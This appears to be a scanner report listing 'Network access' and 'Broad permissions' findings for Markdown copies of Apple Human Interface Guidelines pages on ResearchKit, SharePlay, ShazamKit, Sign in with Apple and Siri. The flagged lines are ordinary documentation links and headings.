    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Developer-documentation)
  • Network accessline 33
    [App extensions](https://developer.apple.com/app-extensions/)
  • Network accessline 35
    [PhotoKit](https://developer.apple.com/documentation/PhotoKit)
  • Network accessline 37
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Videos)
  • Network accessline 39
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/022CCFA2-C212-48DB-A086-2068695D160D/2961_wide_250x141_1x.jpg) Introducing Photo Segmentation Mattes ](https://developer.apple.com/videos/play/wwdc2019/260)

skills/hig-technologies/references/researchkit.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "ResearchKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/researchkit
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/researchkit
  • Network accessline 9
    ![A sketch of the ResearchKit icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/9bd44d
  • Network accessline 11
    The ResearchKit framework provides predesigned screens and transitions that make it easy to design and build an engaging custom research app. For developer guidance, see [Research & Care > ResearchKit](https://www.researchandcare.org/resear
  • Network accessline 15
    ## [Creating the onboarding experience](https://developer.apple.com/design/human-interface-guidelines/researchkit#Creating-the-onboarding-experience)
  • Network accessline 21
    ![A diagram showing four boxes in a horizontal row. Beginning with the leftmost box, an arrow pointing toward the right connects each box to the next. From the left, the boxes are labeled Introduction, Eligibility, Informed consent, and Per
  • Network accessline 23
    ### [1\. Introduction](https://developer.apple.com/design/human-interface-guidelines/researchkit#1-Introduction)
  • Network accessline 27
    ![A screenshot that shows a ResearchKit app's introductory screen on iPhone, which invites someone to join a study.](https://docs-assets.developer.apple.com/published/b2e12c8eeedeb58c2b31f6da926be952/introduction-screen%402x.png)
  • Network accessline 29
    ### [2\. Determine eligibility](https://developer.apple.com/design/human-interface-guidelines/researchkit#2-Determine-eligibility)
  • Network accessline 33
    ![A screenshot that shows a ResearchKit app's eligibility screen on iPhone. The screen includes fields that ask for a person's age, location, and type of smartphone. The bottom of the screen includes 'Back' and 'Submit' buttons, and the top
  • Network accessline 35
    ### [3\. Get informed consent](https://developer.apple.com/design/human-interface-guidelines/researchkit#3-Get-informed-consent)
  • Network accessline 43
    ![A screenshot that shows a ResearchKit app's quiz screen on iPhone. The screen displays a multiple-choice question designed to make sure people understand the study. The bottom of the screen includes a 'Next' button, and the top of the scr
  • Network accessline 47
    ![A screenshot that shows a ResearchKit app's consent screen on iPhone. The screen recaps key points about the study, shows the person's name, and asks the person to confirm whether they'd like to participate in the study. The bottom of the
  • Network accessline 49
    ### [4\. Request permission to access data](https://developer.apple.com/design/human-interface-guidelines/researchkit#4-Request-permission-to-access-data)
  • Network accessline 53
    ![A screenshot that shows a ResearchKit app's consent screen on iPhone. The screen recaps key points about the study, and offers the choice to share data with researchers for future research purposes, or only for this particular study. The 
  • Network accessline 55
    ## [Conducting research](https://developer.apple.com/design/human-interface-guidelines/researchkit#Conducting-research)
  • Network accessline 76
    ![A screenshot that shows a ResearchKit app's survey screen on iPhone. This particular screen asks someone to specify Parkinson's disease symptoms from a list and tap a 'Next' button to continue the survey. The top of the screen includes a 
  • Network accessline 89
    ![A screenshot that shows a ResearchKit app's active task screen on iPhone. This particular screen shows an illustration of a person walking, and instructions that explain how to perform a Walk and Balance active task. A list of requirement
  • Network accessline 91
    ## [Managing personal information and providing encouragement](https://developer.apple.com/design/human-interface-guidelines/researchkit#Managing-personal-information-and-providing-encouragement)
  • Network accessline 97
    ![A screenshot that shows a ResearchKit app's profile screen on iPhone. This particular screen includes a list of fields for personal information like name and birth year. Each field includes a button for editing the field's value. The top 
  • Network accessline 101
    ![A screenshot that shows a ResearchKit app's history screen on iPhone. This particular screen shows a log of active tasks performed over two days. The bottom of the screen includes tabs for 'Tracking', 'History' and 'Profile'. The active t
  • Network accessline 103
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/researchkit#Platform-considerations)
  • Network accessline 107
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/researchkit#Resources)
  • Network accessline 109
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/researchkit#Related)
  • Network accessline 111
    [Research & Care > ResearchKit](https://www.researchandcare.org/researchkit/)
  • Network accessline 113
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/researchkit#Developer-documentation)
  • Network accessline 115
    [Research & Care > Developers](https://www.researchandcare.org/developers/)
  • Network accessline 117
    [Protecting user privacy](https://developer.apple.com/documentation/HealthKit/protecting-user-privacy) — HealthKit
  • Network accessline 119
    [ResearchKit GitHub project](https://github.com/ResearchKit/ResearchKit)
  • Network accessline 121
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/researchkit#Videos)
  • Network accessline 123
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/196C46B0-DF68-4947-B211-4FEECE415A6E/3408_wide_250x141_1x.jpg) What's new in CareKit ](https://developer.apple.com/videos/play/wwdc2020/10151)
  • Network accessline 125
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/EAFF830B-8468-49BA-A5DC-D3A3E8B7F463/4960_wide_250x141_1x.jpg) Build a research and care app, part 1: Setup onboarding ](https://developer.apple.com/videos/play/wwdc2021/10068)
  • Network accessline 127
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/E6EBBD96-C3E4-4A7E-908A-A692F708AE26/2633_wide_250x141_1x.jpg) ResearchKit and CareKit Reimagined ](https://developer.apple.com/videos/play/wwdc2019/217)
  • Network accessline 129
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/researchkit#Change-log)

skills/hig-technologies/references/shareplay.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "SharePlay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/shareplay
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/shareplay
  • Network accessline 9
    ![A sketch of the SharePlay icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/cd055a69
  • Network accessline 13
    When someone shares content during a FaceTime call, the system asks each participant to launch the app to begin the experience. If people don’t have the app installed, the SharePlay alert encourages them to download it from the App Store. I
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/shareplay#Best-practices)
  • Network accessline 19
    **If part of your app requires a subscription, consider ways to help nonsubscriber participants quickly join a group activity.** For example, you might offer temporary or provisional access to nonsubscribers or let an existing subscriber se
  • Network accessline 25
    ## [Sharing activities](https://developer.apple.com/design/human-interface-guidelines/shareplay#Sharing-activities)
  • Network accessline 27
    An _activity_ is an app-defined type of shareable experience. For example, an app that lets people view videos might define a separate activity for viewing each type of content — like movies, TV shows, and uploaded videos — and display a di
  • Network accessline 33
    ![A screenshot of the TV app on iPhone. The screen shows an alert overlaid on a video and text. The alert includes buttons titled 'SharePlay', 'Start Only for Me', and 'Cancel'.](https://docs-assets.developer.apple.com/published/b49187e8ae9
  • Network accessline 35
    ![A screenshot of the TV app on iPhone. The screen shows a video with SharePlay turned on. The area around the Dynamic Island includes an icon of the person being shared with, badged with the app logo, and the text 'Started A BOT-anist'.  A
  • Network accessline 41
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/shareplay#Platform-considerations)
  • Network accessline 45
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/shareplay#visionOS)
  • Network accessline 63
    ![An illustration representing a side-by-side shared activity in visionOS. Participants are positioned next to one another and facing a shared screen.](https://docs-assets.developer.apple.com/published/165cd2e63eb739bc3209ac651d63b0d7/visio
  • Network accessline 67
    ![An illustration representing a surround shared activity in visionOS. Participants are gathered in a circle around shared content.](https://docs-assets.developer.apple.com/published/a3653114364ca9d18cbaaec62c6d1cba/visionos-shareplay-surro
  • Network accessline 71
    ![An illustration representing a conversational shared activity in visionOS. Participants are positioned in a semi-circle formation around shared content.](https://docs-assets.developer.apple.com/published/6606d08491fb7172de59f9f745c32b8f/v
  • Network accessline 73
    For developer guidance, see [`SystemCoordinator`](https://developer.apple.com/documentation/GroupActivities/SystemCoordinator) and [`SpatialTemplatePreference`](https://developer.apple.com/documentation/GroupActivities/SpatialTemplatePrefer
  • Network accessline 77
    **Help people enter a shared activity together, but don’t force them.** When one participant changes their level of immersion, the system tells you so you can synchronize the experience for everyone. Before synchronizing, check whether chan
  • Network accessline 81
    #### [Maintaining a shared context](https://developer.apple.com/design/human-interface-guidelines/shareplay#Maintaining-a-shared-context)
  • Network accessline 85
    **Make sure everyone views the same state of your app.** If your app has more than one state — such as a media app that provides both minimal and theater-like viewing modes — you need to avoid letting different participants view different s
  • Network accessline 87
    **Use Spatial Audio to enrich your shared activity.** Playing Spatial Audio can help you strengthen the realism of the shared experience. For guidance, see [Playing audio](https://developer.apple.com/design/human-interface-guidelines/playin
  • Network accessline 99
    ![An image of a private TV window in visionOS, with a translucent button above the window labeled Not Shared.](https://docs-assets.developer.apple.com/published/4d6d10f5b53dbe935c61cadf9a4c400c/visionos-shareplay-status-idle%402x.png)Conten
  • Network accessline 101
    ![An image of a private TV window in visionOS, with the button above the window selected. A menu emerges downward from the button with options for sharing the window.](https://docs-assets.developer.apple.com/published/04fc57f305c864a6162e1a
  • Network accessline 103
    ![An image of a shared TV window in visionOS. The button above the window is labeled with the SharePlay icon and the text Shared.](https://docs-assets.developer.apple.com/published/d0310d65563f9a03ccbcc738ead1be77/visionos-shareplay-status-
  • Network accessline 105
    #### [Adjusting a shared context](https://developer.apple.com/design/human-interface-guidelines/shareplay#Adjusting-a-shared-context)
  • Network accessline 111
    ![An image of a TV window in visionOS. The image is split down the center to contrast the personalized experiences of two people: Person 1 has subtitles turned on, while Person 2 has subtitles turned off.](https://docs-assets.developer.appl
  • Network accessline 117
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/shareplay#Resources)
  • Network accessline 119
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/shareplay#Related)
  • Network accessline 121
    [Auto-renewable subscriptions](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Auto-renewable-subscriptions)
  • Network accessline 123
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/shareplay#Developer-documentation)
  • Network accessline 125
    [Group Activities](https://developer.apple.com/documentation/GroupActivities)
  • Network accessline 127
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/shareplay#Videos)
  • Network accessline 129
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/27EAC954-289C-4966-9422-B86B964D4BED/10055_wide_250x141_1x.jpg) Share visionOS experiences with nearby people ](https://developer.apple.com/video
  • Network accessline 131
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/942191E7-9B98-487D-AE81-400D58285B31/8129_wide_250x141_1x.jpg) Design spatial SharePlay experiences ](https://developer.apple.com/videos/play/wwd
  • Network accessline 133
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/C1ABC187-BCC7-4576-A088-141E732E411A/8303_wide_250x141_1x.jpg) Add SharePlay to your app ](https://developer.apple.com/videos/play/wwdc2023/10239
  • Network accessline 135
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/shareplay#Change-log)

skills/hig-technologies/references/shazamkit.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "ShazamKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/shazamkit
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/shazamkit
  • Network accessline 9
    ![A sketch of the ShazamKit icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/74c2e960
  • Network accessline 22
    If you need the device microphone to get audio samples for your app to recognize, you must request access to it. As with all types of permission requests, it’s important to help people understand why you’re asking for access. For guidance, 
  • Network accessline 24
    ![A screenshot of the Math School app’s permission alert on iPhone. The alert reads 'Math School would like to access your microphone. Synchronize reading and math exercises with videos played by your teacher.' There are two buttons availab
  • Network accessline 26
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Best-practices)
  • Network accessline 34
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Platform-considerations)
  • Network accessline 38
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Resources)
  • Network accessline 40
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Developer-documentation)
  • Network accessline 42
    [ShazamKit](https://developer.apple.com/documentation/ShazamKit)
  • Network accessline 44
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Videos)
  • Network accessline 46
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/E875B0F9-12EF-4A12-B0B3-01A3DE667DD9/4934_wide_250x141_1x.jpg) Explore ShazamKit ](https://developer.apple.com/videos/play/wwdc2021/10044)

skills/hig-technologies/references/sign-in-with-apple.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Sign in with Apple | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple
  • Network accessline 9
    ![A sketch of the Apple logo, suggesting Sign in with Apple. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.a
  • Network accessline 11
    Supporting Sign in with Apple lets people use the Apple Account they already have to sign in or sign up, and skip filling out forms, verifying email addresses, and choosing passwords. In cases where you choose to ask for a name and email ad
  • Network accessline 17
    ## [Offering Sign in with Apple](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Offering-Sign-in-with-Apple)
  • Network accessline 38
    ![An illustration representing an order confirmation screen on iPhone. The screen includes buttons titled 'Create Account' and 'Sign up with Apple'.](https://docs-assets.developer.apple.com/published/0a8fc114b12c4ad6fdc4a0c1835957ec/create-
  • Network accessline 44
    ## [Collecting data](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Collecting-data)
  • Network accessline 67
    ## [Displaying buttons](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Displaying-buttons)
  • Network accessline 69
    Apple provides several Sign in with Apple buttons you can use to let people set up an account and sign in. If necessary, you can create a custom button to offer Sign in with Apple; for guidelines, see [Creating a custom Sign in with Apple b
  • Network accessline 73
    ### [Using the system-provided buttons](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Using-the-system-provided-buttons)
  • Network accessline 90
    For developer guidance, see [`ASAuthorizationAppleIDButton`](https://developer.apple.com/documentation/AuthenticationServices/ASAuthorizationAppleIDButton) (iOS, macOS, and tvOS), [`WKInterfaceAuthorizationAppleIDButton`](https://developer.
  • Network accessline 96
    ![An illustration of a button that includes the Apple logo and text that reads 'Sign in with Apple'.](https://docs-assets.developer.apple.com/published/7510291ce4d0cd5b91bd325078a054e9/apple-account-sign-in-with%402x.png)
  • Network accessline 98
    ![An illustration of a button that includes the Apple logo and text that reads 'Sign up with Apple'.](https://docs-assets.developer.apple.com/published/388906b461513478bbce1fe4cc630580/apple-account-sign-up-with%402x.png)
  • Network accessline 100
    ![An illustration of a button that includes the Apple logo and text that reads 'Continue with Apple'.](https://docs-assets.developer.apple.com/published/79964d884643f563e51cfbc5df0853b0/apple-account-continue-with%402x.png)
  • Network accessline 104
    ![An illustration of a button for watchOS, that includes the Apple logo and text that reads 'Sign in'.](https://docs-assets.developer.apple.com/published/3a70b1f9a818c85bcc92761c26c6ae56/apple-account-watch-44mm-no-background%402x.png)
  • Network accessline 108
    #### [White](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#White)
  • Network accessline 112
    ![An illustration of a white button correctly positioned on a dark shaded background. The button includes the Apple logo and text that reads 'Sign in with Apple'.](https://docs-assets.developer.apple.com/published/52f84df8a5d3921114072cafe7
  • Network accessline 114
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 116
    ![An illustration of a white button incorrectly positioned on a light shaded background. The button includes the Apple logo and text that reads 'Sign in with Apple'.](https://docs-assets.developer.apple.com/published/c3c4e3ed3533fbc8864352c
  • Network accessline 118
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 120
    #### [White with outline](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#White-with-outline)
  • Network accessline 122
    The white outlined style is available in iOS, macOS, and the web. Use this style on white or light-color backgrounds that don’t provide sufficient contrast with the white button fill. Avoid using this style on a dark or saturated background
  • Network accessline 124
    ![An illustration of a white, outlined button correctly positioned on a light shaded background. The button includes the Apple logo and text that reads 'Sign in with Apple'.](https://docs-assets.developer.apple.com/published/b47cf86de6868de
  • Network accessline 126
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 128
    ![An illustration of a white, outlined button incorrectly positioned on a dark shaded background. The button includes the Apple logo and text that reads 'Sign in with Apple'.](https://docs-assets.developer.apple.com/published/6268116e2d5a47
  • Network accessline 130
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 132
    #### [Black](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Black)
  • Network accessline 136
    ![An illustration of a black button correctly positioned on a light shaded background. The button includes the Apple logo and text that reads 'Sign in with Apple'.](https://docs-assets.developer.apple.com/published/915b5d4767463bca63ab0adaf
  • Network accessline 138
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 140
    ![An illustration of a black button incorrectly positioned on a dark shaded background. The button includes the Apple logo and text that reads 'Sign in with Apple'.](https://docs-assets.developer.apple.com/published/c3da65d8c76a981f91ebfdaf
  • Network accessline 142
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 146
    ![An illustration of a dark shaded button for watchOS on a black background, that includes the Apple logo and text that reads 'Sign in'.](https://docs-assets.developer.apple.com/published/dbd9944a0b54c61b4ad31ae7a1ba5a82/apple-account-watch
  • Network accessline 148
    #### [Button size and corner radius](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Button-size-and-corner-radius)
  • Network accessline 150
    **Adjust the corner radius to match the appearance of other buttons in your app.** By default, the Sign in with Apple button has rounded corners. In iOS, macOS, and the web, you can change the corner radius to produce a button with square c
  • Network accessline 152
    ![An illustration of a 'Sign in with Apple' button with 90-degree corners.](https://docs-assets.developer.apple.com/published/4f279ff515dfcb50faf6f085acceffb9/apple-account-minimum-corner-radii%402x.png)Minimum corner radius
  • Network accessline 154
    ![An illustration of a 'Sign in with Apple' button with the default corner radius.](https://docs-assets.developer.apple.com/published/7510291ce4d0cd5b91bd325078a054e9/apple-account-default-corner-radii%402x.png)Default corner radius
  • Network accessline 156
    ![An illustration of a 'Sign in with Apple' button with the maximum corner radius, which results in a capsule-like appearance.](https://docs-assets.developer.apple.com/published/baeeaf354ab05437b35812f154e33497/apple-account-maximum-corner-
  • Network accessline 164
    ### [Creating a custom Sign in with Apple button](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Creating-a-custom-Sign-in-with-Apple-button)
  • Network accessline 168
    ![An illustration that includes two side-by-side partial iPhones showing sign-in screens. The screen on the left includes four stacked buttons: Sign in with Apple, Sign in with X, Sign in with Y, and Sign in with Z. The Sign in with Apple b
  • Network accessline 172
    [Apple Design Resources](https://developer.apple.com/design/resources/) provides downloadable Apple logo artwork you can use to create custom Sign in with Apple buttons that display either a logo only or a logo and text. The logo files are 
  • Network accessline 174
    ![A illustration of a black Apple logo within a white square, which is surrounded by a thick, shaded border. The white square represents the minimum amount of clear space between the Apple logo and other interface elements.](https://docs-as
  • Network accessline 176
    ![A illustration of a white Apple logo within a black square, which is surrounded by a thick, light border. The black square represents the minimum amount of clear space between the Apple logo and other interface elements.](https://docs-ass
  • Network accessline 180
    Use only the logo artwork downloaded from [Apple Design Resources](https://developer.apple.com/design/resources/); never create a custom Apple logo. As you create a custom Sign in with Apple button, follow these guidelines for using the dow
  • Network accessline 219
    #### [Custom buttons with a logo and text](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Custom-buttons-with-a-logo-and-text)
  • Network accessline 225
    ![An illustration of a Sign in with Apple button, with callouts that indicate a button height of 44 points and a font size of 19 points.](https://docs-assets.developer.apple.com/published/4d402bbb5bfa51a2e8ac34066866ff84/left-aligned-correc
  • Network accessline 227
    ![An illustration of a Sign in with Apple button, with callouts that indicate a button height of 56 points and a font size of 24 points.](https://docs-assets.developer.apple.com/published/b63e73cbcaf41594057e62ad49483d87/left-aligned-correc
  • Network accessline 243
    #### [Custom logo-only buttons](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Custom-logo-only-buttons)
  • Network accessline 251
    ![An illustration of a logo-only Sign in with Apple button. The button includes only the Apple logo, and the button has rounded corners.](https://docs-assets.developer.apple.com/published/add0de82a670c705e32126fd9ee002e1/siwa-logo-masked-ro
  • Network accessline 253
    ![An illustration of a logo-only Sign in with Apple button. The button includes only the Apple logo, and the button has square corners.](https://docs-assets.developer.apple.com/published/b54adc4cec33d05188ec292f4b27e56f/siwa-logo-default%40
  • Network accessline 255
    ![An illustration of a logo-only Sign in with Apple button. The button includes only the Apple logo, and the button is circular.](https://docs-assets.developer.apple.com/published/fe14635b234c465506a70990d162ff78/siwa-logo-masked-circle%402
  • Network accessline 259
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Platform-considerations)
  • Network accessline 263
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Resources)
  • Network accessline 265
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Related)
  • Network accessline 267
    [Sign in with Apple button](https://appleid.apple.com/signinwithapple/button)
  • Network accessline 269
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Developer-documentation)
  • Network accessline 271
    [Authentication Services](https://developer.apple.com/documentation/AuthenticationServices)
  • Network accessline 273
    [Displaying Sign in with Apple buttons on the web](https://developer.apple.com/documentation/signinwithapple/displaying-sign-in-with-apple-buttons-on-the-web) — Sign in with Apple
  • Network accessline 275
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Videos)
  • Network accessline 277
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/B671AE75-5224-4AA1-BB31-F4CBA7E95342/5002_wide_250x141_1x.jpg) Move beyond passwords ](https://developer.apple.com/videos/play/wwdc2021/10106)
  • Network accessline 279
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/AB014534-6C60-4B00-9D7D-E2EDD02E3D6E/5211_wide_250x141_1x.jpg) Simplify sign in for your tvOS apps ](https://developer.apple.com/videos/play/wwdc2021/10279)
  • Network accessline 281
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/D792218F-60EA-427D-8034-204243D383C7/2645_wide_250x141_1x.jpg) Introducing Sign In with Apple ](https://developer.apple.com/videos/play/wwdc2019/706)
  • Network accessline 283
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Change-log)

skills/hig-technologies/references/siri.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Siri | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/siri
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/siri
  • Network accessline 9
    ![A sketch of the Siri icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/4198addd86e0d
  • Network accessline 11
    When you use [SiriKit](https://developer.apple.com/documentation/SiriKit) to define the tasks and actions that your app supports, people can use Siri to perform them even when your app isn’t running. If you’re an accessory maker, you can al
  • Network accessline 43
    ## [Integrating your app with Siri](https://developer.apple.com/design/human-interface-guidelines/siri#Integrating-your-app-with-Siri)
  • Network accessline 47
    SiriKit defines _system intents_ that represent common tasks — such as sending a message, calling a friend, and starting a workout — and groups related intents into domains. A _domain_ is a category of tasks that Siri knows how to talk abou
  • Network accessline 49
    When possible, take advantage of the intents that SiriKit defines. Using system-provided intents can make your job easier, while still giving you opportunities to customize the experience. However, if your app offers tasks that aren’t repre
  • Network accessline 51
    ### [A closer look at intents](https://developer.apple.com/design/human-interface-guidelines/siri#A-closer-look-at-intents)
  • Network accessline 57
    First, your app and SiriKit must agree on what the request means in the _resolve_ phase. You can think of this phase as the time to ask people for everything your app needs and, if necessary, ask for additional information or clarification.
  • Network accessline 59
    The second phase — called the _confirm_ phase — happens when you have all the information you need to handle the intent. This phase can give people a chance to make sure they want to complete the task. For example, tasks that have financial
  • Network accessline 61
    Third, your app performs the task and tells SiriKit what it actually did in the _handle_ phase. You can provide both visual and textual information that tells people what your app did to handle their request. For example, an app that lets p
  • Network accessline 63
    ### [Provide information about actions and support suggestions](https://developer.apple.com/design/human-interface-guidelines/siri#Provide-information-about-actions-and-support-suggestions)
  • Network accessline 69
    Siri can use signals like location, time of day, and type of motion (such as walking, running, or driving), to intelligently predict just the right time and place to suggest actions from your app. Depending on the information your app share
  • Network accessline 82
    When you provide information about your actions to the system, people can also use the Shortcuts app to create shortcuts for the system and custom intents you support. For guidance, see [Shortcuts and suggestions](https://developer.apple.co
  • Network accessline 84
    ### [Design a great voice experience](https://developer.apple.com/design/human-interface-guidelines/siri#Design-a-great-voice-experience)
  • Network accessline 98
    ### [Recognize that people use Siri in different contexts](https://developer.apple.com/design/human-interface-guidelines/siri#Recognize-that-people-use-Siri-in-different-contexts)
  • Network accessline 106
    ## [System intents](https://developer.apple.com/design/human-interface-guidelines/siri#System-intents)
  • Network accessline 112
    Domain (link to developer guidance)| Intents   ---|---   [VoIP Calling](https://developer.apple.com/documentation/SiriKit/voip-calling)| Initiate calls.
  • Network accessline 113
    ---|---   [VoIP Calling](https://developer.apple.com/documentation/SiriKit/voip-calling)| Initiate calls.   [Workouts](https://developer.apple.com/documentation/SiriKit/workouts)| Start, pause, resume, end, and cancel workouts.
  • Network accessline 114
    [VoIP Calling](https://developer.apple.com/documentation/SiriKit/voip-calling)| Initiate calls.
  • Network accessline 115
    [Workouts](https://developer.apple.com/documentation/SiriKit/workouts)| Start, pause, resume, end, and cancel workouts.
  • Network accessline 116
    [Lists and Notes](https://developer.apple.com/documentation/SiriKit/lists-and-notes)| Create notes.
  • Network accessline 117
    Search for notes.   Create reminders based on a date, time, or location.   [Media](https://developer.apple.com/documentation/SiriKit/media)| Search for and play media content, such as video, music, audiobooks, and podcasts.
  • Network accessline 118
    Create reminders based on a date, time, or location.   [Media](https://developer.apple.com/documentation/SiriKit/media)| Search for and play media content, such as video, music, audiobooks, and podcasts.   Like or dislike items.
  • Network accessline 119
    [Media](https://developer.apple.com/documentation/SiriKit/media)| Search for and play media content, such as video, music, audiobooks, and podcasts.
  • Network accessline 120
    Like or dislike items.   Add items to a library or playlist.   [Messaging](https://developer.apple.com/documentation/SiriKit/messaging)| Send messages.
  • Network accessline 121
    Add items to a library or playlist.   [Messaging](https://developer.apple.com/documentation/SiriKit/messaging)| Send messages.   Search for messages.
  • Network accessline 122
    [Messaging](https://developer.apple.com/documentation/SiriKit/messaging)| Send messages.
  • Network accessline 123
    Search for messages.   Read received messages.   [Payments](https://developer.apple.com/documentation/SiriKit/payments)| Send payments.
  • Network accessline 124
    Read received messages.   [Payments](https://developer.apple.com/documentation/SiriKit/payments)| Send payments.   Request payments.
  • Network accessline 125
    [Payments](https://developer.apple.com/documentation/SiriKit/payments)| Send payments.
  • Network accessline 126
    Request payments.   [Car Commands](https://developer.apple.com/documentation/SiriKit/car-commands)| Activate hazard lights or honk the horn.   Lock and unlock the doors.
  • Network accessline 127
    [Car Commands](https://developer.apple.com/documentation/SiriKit/car-commands)| Activate hazard lights or honk the horn.
  • Network accessline 131
    ### [Design responses to system intents](https://developer.apple.com/design/human-interface-guidelines/siri#Design-responses-to-system-intents)
  • Network accessline 143
    ### [Enhance the voice experience for system intents](https://developer.apple.com/design/human-interface-guidelines/siri#Enhance-the-voice-experience-for-system-intents)
  • Network accessline 147
    **Create example requests.** When people tap the Help button in the Siri interface, they view a guide that can include example phrases that you supply. Write phrases that demonstrate the easiest and most efficient ways to use Siri with your
  • Network accessline 153
    ### [Design a custom interface for a system intent](https://developer.apple.com/design/human-interface-guidelines/siri#Design-a-custom-interface-for-a-system-intent)
  • Network accessline 157
    **Avoid including extraneous or redundant information.** A custom interface lets you bring elements from your app into the Siri interface, but displaying information that isn’t related to the action can distract people. You also want to avo
  • Network accessline 167
    For developer guidance, see [Creating an Intents UI Extension](https://developer.apple.com/documentation/SiriKit/creating-an-intents-ui-extension).
  • Network accessline 169
    ## [Custom intents](https://developer.apple.com/design/human-interface-guidelines/siri#Custom-intents)
  • Network accessline 171
    If your app lets people perform an everyday task that doesn’t fit into any of the SiriKit domains, you can create a custom intent to represent it (see [System intents](https://developer.apple.com/design/human-interface-guidelines/siri#Syste
